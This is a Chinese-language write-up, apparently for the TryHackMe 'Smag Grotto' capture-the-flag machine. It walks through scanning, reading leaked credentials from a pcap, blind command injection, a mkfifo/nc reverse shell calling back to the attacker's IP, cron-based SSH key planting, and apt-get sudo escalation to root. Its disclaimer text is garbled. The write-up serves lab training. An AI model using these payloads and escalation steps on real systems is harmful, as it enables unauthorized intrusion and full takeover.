免责申明
本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。
服务发现
┌──(rootkali)-[~]└─# nmap -sV -Pn 10.10.10.105Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-06 05:19 EDTNmap scan report for 10.10.10.105Host is up (0.32s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds
经典CTF,一个ssh一个http
80端口首页没有有用的信息
爆破目录
┌──(rootkali)-[~/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.10.105 130 ⨯ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/dirsearch/reports/10.10.10.105/_21-11-06_05-21-14.txtError Log: /root/dirsearch/logs/errors-21-11-06_05-21-14.logTarget: http://10.10.10.105/[05:21:15] Starting: [05:22:21] 200 - 402B - /index.php [05:22:21] 200 - 402B - /index.php/login/ [05:22:27] 301 - 309B - /mail -> http://10.10.10.105/mail/ [05:22:27] 200 - 2KB - /mail/
关上mail
文件夹,把dHJhY2Uy.pcap
下载到本地剖析
┌──(rootkali)-[~/tryhackme/SmagGrotto]└─# wget http://10.10.10.105//aW1wb3J0YW50/dHJhY2Uy.pcap--2021-11-06 05:25:24-- http://10.10.10.105//aW1wb3J0YW50/dHJhY2Uy.pcapConnecting to 10.10.10.105:80... connected.HTTP request sent, awaiting response... 200 OKLength: 1209 (1.2K) [application/vnd.tcpdump.pcap]Saving to: ‘dHJhY2Uy.pcap’dHJhY2Uy.pcap 100%[====================================================================================================================================================================================================>] 1.18K --.-KB/s in 0s 2021-11-06 05:25:25 (47.4 MB/s) - ‘dHJhY2Uy.pcap’ saved [1209/1209]
wireshark查看数据报
用wireshark关上这个文件
在第4个数据报发现一个登陆凭证
^POST /login.php HTTP/1.1Host: development.smag.thmUser-Agent: curl/7.47.0Accept: */*Content-Length: 39Content-Type: application/x-www-form-urlencodedusername=helpdesk&password=cH4nG3M3_n0w
剖析和测试
咱们把development.smag.thm
加到kali的hosts文件
echo "10.10.10.105 development.smag.thm" >> /etc/hosts
关上development.smag.thm
用下面的凭证登陆,显示一个命令行输出页面
咱们尝试在页面上输出一些测试命令,然而页面上没有任何回显,用burpsuite监听,咱们看到http的申请是这样的
POST /admin.php HTTP/1.1Host: development.smag.thmUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 39Origin: http://development.smag.thmConnection: closeReferer: http://development.smag.thm/admin.phpCookie: PHPSESSID=kp5dqemn1plrpuk787gi7qlvh2Upgrade-Insecure-Requests: 1command=ls&submit=submit
放到repeater尝试各种命令,然而页面没有任何回显。此时我狐疑其实命令是被执行了,只是没有在web上打印命令的后果,为了证实,咱们尝试向kali机发送icmp包
burpsuite批改payload为:
command=ping 10.13.21.169&submit=submit
在kali开启icmp包监听,收到了icmp包,证实了我的猜测。
┌──(rootkali)-[~]└─# tcpdump -i tun0 icmptcpdump: verbose output suppressed, use -v[v]... for full protocol decodelistening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes05:59:01.605463 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 1, length 6405:59:01.605555 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 1, length 6405:59:02.609787 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 2, length 6405:59:02.609801 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 2, length 6405:59:03.605527 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 3, length 6405:59:03.605563 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 3, length 6405:59:04.606276 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 4, length 6405:59:04.606312 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 4, length 6405:59:05.610149 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 5, length 6405:59:05.610185 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 5, length 6405:59:06.609349 IP development.smag.thm > 10.13.21.169: ICMP echo request, id 1157, seq 6, length 6405:59:06.609385 IP 10.13.21.169 > development.smag.thm: ICMP echo reply, id 1157, seq 6, length 64
拿到初始shell
咱们应用上面payload拿到反弹的webshell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.21.169 4242 >/tmp/f
收到反弹shell:
┌──(rootkali)-[~/tryhackme/SmagGrotto]└─# nc -lnvp 4242listening on [any] 4242 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.10.105] 49066/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)
提权到jake
/home
目录下有一个用户文件夹/jake
,然而以后账号没有权限查看
传linpeas,发现root下有一个定时工作
* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
每一分钟定时把/opt/.backups/jake_id_rsa.pub.backup
里的内容写到/home/jake/.ssh/authorized_keys
把我本地的id_rsa.pub写到/home/jake/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXMYce9FPGn7FNt1MeNFTb2iTy917/1tzSKdRWnV4u2FmMUT85u92xUwpudizoAn10Bb7Y9r4813I3KjTzYO2OlJSCqQ4+PB+VI9/0dE67sInXsQJfdnXfguuA+oVzEU1QPCqCVuSt4pQaiXCeo0GmTiVZyVBNaJJoZCtNipqL/zyO5Avb6yfnxSYDusIPDuUWnJNBI9tE48MBDW0zDYdEajCddu2AjusHNNlS9nxgOqKulpsLM54/c2X5ttDp+DdYuQikc2Ju9MIDQE0og+W6QrtCF3FmKXMZxkU5OFTOmtfdg2U3OPoU1GKFOLks0tgglco9oDuO5qYHuD4/v7nRUtlTweCAOXDvGOItAB58uw2J8wINs6k/UrCL0or/tJ33vaoDFSI47WjRWNwEGNY+ESRjK1sbQFOdFGG2F4TvhWWv+mEEEKWtXlwBHYokIwRUzNy/s1cuMboUl6IqnorlCnLxazjx4/1VBm4Cu8j0cfa6VuzyiL+khSoz4RPG9Lc= root@kali" >> /opt/.backups/jake_id_rsa.pub.backup
间接无明码登录到jake的ssh
┌──(rootkali)-[~/.ssh]└─# ssh jake@10.10.176.249 Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantageLast login: Fri Jun 5 10:15:15 2020jake@smag:~$ lsuser.txt
拿到user.txt
提权到root
查看sudo权限
jake@smag:~$ sudo -lMatching Defaults entries for jake on smag: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser jake may run the following commands on smag: (ALL : ALL) NOPASSWD: /usr/bin/apt-get
用apt-get命令提权到root,拿到root.txt
jake@smag:~$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh# iduid=0(root) gid=0(root) groups=0(root)# whoamiroot# ls /rootroot.txt